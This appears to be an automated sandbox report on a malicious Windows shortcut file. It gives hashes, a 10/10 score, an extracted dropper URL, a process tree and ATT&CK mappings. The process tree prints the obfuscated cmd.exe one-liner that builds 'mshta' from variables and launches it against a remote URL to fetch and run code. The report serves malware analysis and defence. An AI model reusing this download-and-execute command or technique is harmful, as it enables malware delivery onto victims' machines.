b000b840c00318adc48c5cc449213538e70aa2cfc3009375ee5699696998fd16

Analysis

max time kernel
148s
max time network
116s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:32

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General

Target
DOC-EYTB0F.lnk
Size 1KB
Sample260803-qs46dack6y
SHA256 b000b840c00318adc48c5cc449213538e70aa2cfc3009375ee5699696998fd16
MD5 076da654964cd35504d668409cecda16
SHA1 3e016f886a791926e748c365dab9bbca566bcaad
SHA512 61dd8a31cf28012f74d5ab66b664effbdb1ba1848aff1c06805655a9c959a9679e946e64d8aedfb4a5820e3b05e66e4e07d766fc3c2383d01908cac282ab9b1f
TLSH
T1A13147503FF90654F3F38E7394BB6B2185BBB9AA8E60C61D4141464C1432A14E17AFA7
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2684	cmd.exe
1000	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2684 wrote to memory of 1000	2684	cmd.exe	90
PID 1000 wrote to memory of 4584	1000	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-EYTB0F.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2684
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set hqyP=msh&&set ySY=ta&&start "" !hqyP!!ySY! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1000
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:4584

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads